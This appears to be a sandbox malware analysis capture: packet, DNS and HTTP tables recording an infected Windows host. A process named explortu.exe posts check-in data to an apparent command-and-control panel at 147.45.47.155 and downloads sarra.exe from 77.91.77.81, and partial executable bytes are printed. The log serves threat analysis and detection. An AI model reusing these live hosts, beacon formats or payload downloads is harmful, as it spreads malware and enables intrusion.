Jun 20, 2024 15:39:12.693162918 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.795854092 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.796112061 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.801367998 CEST	80	49887	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:12.801398039 CEST	80	49890	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:12.801470995 CEST	49887	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.801501036 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.801728964 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:12.807063103 CEST	80	49890	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:12.847378016 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:12.850801945 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.954540968 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.954833984 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.960150957 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:12.960313082 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.960469961 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.961462021 CEST	80	49889	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:12.961575985 CEST	49889	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:12.965517998 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:13.478501081 CEST	80	49890	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:13.478575945 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.479449034 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.484375000 CEST	80	49890	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:13.655498981 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:13.655653000 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:13.658714056 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:13.658914089 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:13.663824081 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:13.663894892 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:13.664020061 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:13.664455891 CEST	80	49891	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:13.664593935 CEST	49891	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:13.668956041 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:13.692245007 CEST	80	49890	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:13.692308903 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.798964024 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.799444914 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.804424047 CEST	80	49890	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:13.804487944 CEST	49890	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.804672956 CEST	80	49893	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:13.804763079 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.805001020 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:13.810949087 CEST	80	49893	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:14.335232973 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:14.335324049 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:14.443437099 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:14.443881989 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:14.448529959 CEST	80	49892	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:14.448606968 CEST	49892	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:14.448767900 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:14.448894024 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:14.449068069 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:14.453866005 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:14.492686033 CEST	80	49893	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:14.492784977 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.493643999 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.500216007 CEST	80	49893	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:14.576602936 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:14.581697941 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:14.715553045 CEST	80	49893	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:14.715641022 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.736396074 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:14.741544008 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:14.765578032 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:14.770967007 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:14.832978010 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.833252907 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.838258028 CEST	80	49895	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:14.838323116 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.838598967 CEST	80	49893	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:14.838602066 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.838789940 CEST	49893	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:14.843453884 CEST	80	49895	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:14.921967983 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:14.927079916 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:15.103154898 CEST	58709	49830	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:15.143953085 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:15.144068956 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.146891117 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.147142887 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.153717041 CEST	80	49894	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:15.153764009 CEST	80	49896	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:15.153820992 CEST	49894	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.153846979 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.154171944 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.159969091 CEST	80	49896	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:15.217988968 CEST	49830	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:15.301285982 CEST	58709	49842	77.91.77.66	192.168.2.5
Jun 20, 2024 15:39:15.358623981 CEST	49842	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:39:15.552433014 CEST	80	49895	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:15.552520037 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.553266048 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.558114052 CEST	80	49895	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:15.772133112 CEST	80	49895	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:15.774782896 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.835992098 CEST	80	49896	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:15.838335991 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.890499115 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.890892029 CEST	49897	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.895752907 CEST	80	49897	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:15.895931005 CEST	80	49895	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:15.895962954 CEST	49897	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.895979881 CEST	49895	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.896508932 CEST	49897	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:39:15.901314020 CEST	80	49897	77.91.77.81	192.168.2.5
Jun 20, 2024 15:39:15.955450058 CEST	49896	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.955795050 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.962774038 CEST	80	49898	147.45.47.155	192.168.2.5
Jun 20, 2024 15:39:15.963020086 CEST	49898	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:39:15.963449001 CEST	49898	80	192.168.2.5	147.45.47.155

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 20, 2024 15:38:25.266628027 CEST	192.168.2.5	1.1.1.1	0x43	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.268342018 CEST	192.168.2.5	1.1.1.1	0x6ffa	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jun 20, 2024 15:38:29.577749968 CEST	192.168.2.5	1.1.1.1	0xee9e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:29.577888012 CEST	192.168.2.5	1.1.1.1	0xa5ff	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jun 20, 2024 15:38:33.665296078 CEST	192.168.2.5	1.1.1.1	0xace2	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:33.665728092 CEST	192.168.2.5	1.1.1.1	0xbed	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Jun 20, 2024 15:38:35.059525013 CEST	192.168.2.5	1.1.1.1	0x7c90	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:35.059684038 CEST	192.168.2.5	1.1.1.1	0xe10	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jun 20, 2024 15:38:38.394180059 CEST	192.168.2.5	1.1.1.1	0x440c	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:39.165966034 CEST	192.168.2.5	1.1.1.1	0xacac	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:58.421849012 CEST	192.168.2.5	1.1.1.1	0xf3e0	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:39:17.131648064 CEST	192.168.2.5	1.1.1.1	0xaef7	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:39:58.174674034 CEST	192.168.2.5	1.1.1.1	0xb885	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:39:58.174854040 CEST	192.168.2.5	1.1.1.1	0x9e1d	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.274266005 CEST	1.1.1.1	192.168.2.5	0x43	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:25.275881052 CEST	1.1.1.1	192.168.2.5	0x6ffa	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 15:38:25.275881052 CEST	1.1.1.1	192.168.2.5	0x6ffa	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jun 20, 2024 15:38:29.585767984 CEST	1.1.1.1	192.168.2.5	0xa5ff	No error (0)	www.google.com			65	IN (0x0001)	false
Jun 20, 2024 15:38:29.586280107 CEST	1.1.1.1	192.168.2.5	0xee9e	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:33.673994064 CEST	1.1.1.1	192.168.2.5	0xace2	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 15:38:33.673994064 CEST	1.1.1.1	192.168.2.5	0xace2	No error (0)	www3.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:33.675122976 CEST	1.1.1.1	192.168.2.5	0xbed	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jun 20, 2024 15:38:35.069493055 CEST	1.1.1.1	192.168.2.5	0x7c90	No error (0)	play.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:38.401925087 CEST	1.1.1.1	192.168.2.5	0x440c	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:39.177025080 CEST	1.1.1.1	192.168.2.5	0xacac	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:39.177025080 CEST	1.1.1.1	192.168.2.5	0xacac	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:39.177025080 CEST	1.1.1.1	192.168.2.5	0xacac	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:58.435323954 CEST	1.1.1.1	192.168.2.5	0xf3e0	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:58.435323954 CEST	1.1.1.1	192.168.2.5	0xf3e0	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:38:58.435323954 CEST	1.1.1.1	192.168.2.5	0xf3e0	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:39:17.140268087 CEST	1.1.1.1	192.168.2.5	0xaef7	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:39:17.140268087 CEST	1.1.1.1	192.168.2.5	0xaef7	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:39:17.140268087 CEST	1.1.1.1	192.168.2.5	0xaef7	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
Jun 20, 2024 15:39:58.181636095 CEST	1.1.1.1	192.168.2.5	0xb885	No error (0)	play.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:04.167347908 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:38:04.922715902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:38:04.927005053 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:38:05.142930031 CEST	526	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 34 66 0d 0a 20 3c 63 3e 31 30 30 30 30 31 34 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 66 38 64 37 63 32 62 33 61 34 65 31 62 35 64 39 36 64 39 33 30 66 34 39 61 36 35 36 23 31 30 30 30 30 31 35 30 30 32 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 64 37 64 61 61 36 61 34 65 30 62 35 63 35 37 62 39 64 34 63 30 32 62 62 34 62 65 31 23 31 30 30 30 30 31 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 64 34 34 62 35 63 30 34 66 37 65 33 62 34 34 36 30 61 35 30 32 62 34 64 62 64 65 62 34 66 66 62 64 61 36 63 61 37 31 39 36 34 65 34 31 66 30 35 36 66 63 34 39 23 31 30 30 30 30 31 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 63 64 64 64 64 61 62 61 34 65 30 62 35 63 35 37 62 39 64 34 63 30 32 62 62 34 62 65 31 23 3c [TRUNCATED] Data Ascii: 14f <c>1000014031+++b5937c1a99d5f9db0d5da2c850673b5d76ac1cf8d7c2b3a4e1b5d96d930f49a656#1000015002+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8d7daa6a4e0b5c57b9d4c02bb4be1#1000016001+++fc8f7c1ed3c0f9c30d44b5c04f7e3b4460a502b4dbdeb4ffbda6ca71964e41f056fc49#1000017001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1cecddddaba4e0b5c57b9d4c02bb4be1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	77.91.77.81	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:38:05.295648098 CEST	51	OUT	GET /cost/sarra.exe HTTP/1.1 Host: 77.91.77.81
Jun 20, 2024 15:38:06.046895981 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:38:05 GMT Content-Type: application/octet-stream Content-Length: 2396672 Last-Modified: Thu, 20 Jun 2024 10:15:18 GMT Connection: keep-alive ETag: "66740136-249200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 66 03 00 00 00 00 00 00 80 5d 00 00 10 00 00 00 d0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j.s.s.sep%sevset/sy*syw=syp4syvusew6seu/ser5s.rszz2sz/s./szq/sRich.sPELiLf'f]@]$@^r4tf]$f]6@ @.rsrc4@.idata @ +@rixklhlmC@kyzvntvbp]j$@.taggant0]"p$@
Jun 20, 2024 15:38:06.046940088 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:06.046974897 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:06.047008991 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 20, 2024 15:38:06.047064066 CEST	1236	IN	Data Raw: 50 e4 02 51 40 d8 fd bf e9 18 88 36 f0 89 ca 79 8e 2f 41 c4 55 33 a6 93 51 3f 46 90 1f 17 a1 fc 3c 29 6d 9c 45 c3 55 c4 8e db 29 90 c2 5c 9f cc 81 5e 7d 91 d5 5c c5 f3 6c eb a9 91 e7 d1 2a aa 11 bb 03 56 76 9c dd fc 00 c7 d1 53 89 53 0c 94 45 43 Data Ascii: PQ@6y/AU3Q?F<)mEU)\^}\l*VvSSEC=-OJv;L\-)`R+c)5;(.'wmRsc-tC9RRW-M5OQJ,Hsm4T>O73=:VfZiF^J2uI3 -om2`DSL
Jun 20, 2024 15:38:06.047099113 CEST	1236	IN	Data Raw: 65 7d 26 ad a9 19 35 c4 01 6b 12 64 94 8f 6f 6c ea 83 b2 2f ae 82 6d 50 66 30 2e 9c cb 36 b4 95 dc d0 a1 26 9a b7 ef 93 c5 f5 41 c0 f1 05 18 18 df db 11 2c 78 3f 03 3b 00 5e 05 4a 25 be 93 5b 7a df fd 49 a0 88 a3 57 99 b6 fc e7 02 8b 81 d7 e9 c9 Data Ascii: e}&5kdol/mPf0.6&A,x?;^J%[zIW&dQtH$w/1+}+RDH;L&\|eq&^p(YiGEPBbUPy_AoS.\gf8} yyz/C^
Jun 20, 2024 15:38:06.047135115 CEST	776	IN	Data Raw: cb 76 5c 5e 2e ba b1 3c 8d 31 40 98 08 23 b2 6e ce 93 08 08 76 43 81 43 ae 36 66 f7 66 2b 43 34 3d 01 02 91 d9 0e 31 78 4f 5d 9b 5f 76 82 29 e0 a9 d8 d9 af 8b 16 04 d5 ed 7a 6e 5e 9c 93 35 71 36 e3 a9 af 96 f8 69 58 72 8e 5c 0f d6 9d c9 a5 8b 2c Data Ascii: v\^.<1@#nvCC6ff+C4=1xO]_v)zn^5q6iXr\,)6)\|W[DXk9Up-k.J[\{9GwOGApSCrIluewu14? &tGm4aUv.G+8R o@a4V)}
Jun 20, 2024 15:38:06.047357082 CEST	1236	IN	Data Raw: c8 e7 1c 6a 96 fc 54 e0 99 36 b5 dd 11 f8 30 b9 bf f2 25 bc f2 89 dd 3d 72 53 03 81 39 b9 2f 18 e2 1b 6c 67 f8 eb 20 28 07 ef ad a0 eb 9e f8 3a 34 70 dd b9 54 2e 46 35 6f a7 c6 99 27 43 a4 af c6 22 21 b1 94 39 4d 3f 65 36 a8 4d 3e 81 6d 84 01 ef Data Ascii: jT60%=rS9/lg (:4pT.F5o'C"!9M?e6M>ms4V)pt4i\|'qV@$LtO]FK~K7h/;~R3PM6`zH^}sWXf80LTowoR\PM:@` #wX{.~qYstH5
Jun 20, 2024 15:38:06.047390938 CEST	1236	IN	Data Raw: c0 30 6a c0 09 e2 4b b0 cb 8d 13 d0 96 c9 aa d1 36 8f 24 74 15 9d fa 54 0d 49 97 eb 17 46 86 52 0a 29 3a c3 1d 8c 01 87 86 53 35 fc 8a 46 39 14 04 46 31 54 0b 86 31 d8 06 b6 29 a4 2f 8c fb fa 75 bf 5c 02 77 04 24 8b 26 5a 04 d1 79 6a c4 6c 24 b8 Data Ascii: 0jK6$tTIFR):S5F9F1T1)/u\w$&Zyjl$H!<KT!`QGM{[{R{N}dW mv3D B;TRYlV5fC<x.b2x0DYJK{/UiCxE:
